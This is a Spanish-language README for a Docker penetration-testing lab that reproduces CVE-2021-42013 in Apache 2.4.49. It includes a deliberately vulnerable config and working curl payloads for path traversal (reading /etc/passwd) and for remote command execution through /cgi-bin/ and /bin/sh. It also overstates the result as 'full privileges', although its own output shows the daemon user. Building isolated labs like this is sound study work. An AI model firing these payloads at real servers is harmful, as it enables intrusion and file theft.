
Laboratorio de pruebas de penetración basado en Docker que simula la vulnerabilidad CVE-2021-42013 (Path Traversal & RCE) sobre Apache HTTP Server (2.4.49).
Laboratorio de pruebas de penetración basado en Docker que simula la vulnerabilidad CVE-2021-42013 (Path Traversal y RCE) en Apache HTTP Server (2.4.49).
Este proyecto ha sido preparado para simular y explotar la vulnerabilidad CVE-2021-42013 presente en Apache HTTP Server (2.4.49) en un entorno aislado. En el trabajo se ha establecido un entorno de laboratorio personalizado llamado docker-exploit-lab, y el escenario de ataque se ha llevado a cabo a través de una máquina víctima (victim) y una máquina atacante (attacker) en la misma red.
Nuestro laboratorio tiene dos archivos de configuración principales: el archivo Docker Compose donde definimos las máquinas Victim/Attacker y el archivo de configuración con el que hacemos vulnerable el servidor Apache.
docker-compose.ymlEste archivo crea un entorno aislado en la subred 172.20.0.0/16. Cuando la máquina atacante arranca, instala automáticamente la herramienta curl necesaria para el ataque.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confPara poder activar la vulnerabilidad, el servidor se ha vuelto vulnerable a propósito al otorgar el permiso Require all granted al directorio raíz () y al directorio CGI. (Nota importante: para evitar errores, asegúrese de que este archivo esté guardado en formato UTF-8 sin caracteres BOM (Byte Order Mark).)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
Para iniciar el sistema, estando en el directorio de trabajo ejecutamos el siguiente comando en la terminal:
docker compose up -d
Una vez que el sistema esté en marcha, entramos en la máquina Kali Linux donde ejecutaremos los comandos de ataque:
Bash
docker exec -it attacker-box /bin/bash
Desde el interior de la máquina Kali, enviamos caracteres codificados en URL (.%%32%65) a la dirección IP fija de la máquina objetivo (172.20.0.2) para activar la vulnerabilidad de salto de directorio y leer el archivo /etc/passwd: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Como hemos autorizado el directorio CGI en la configuración de Apache, podemos ejecutar comandos de shell directamente en el servidor utilizando la misma lógica de salto de directorio a través de /cgi-bin/. Para ejecutar el comando id: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" Salida exitosa obtenida: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Este trabajo demuestra de forma práctica cómo una vulnerabilidad de Path Traversal que aparentemente parece inofensiva desde el exterior en un servidor web sin actualizar, combinada con permisos mal configurados del módulo CGI, se convierte en una ejecución remota de código (RCE) con plenos privilegios.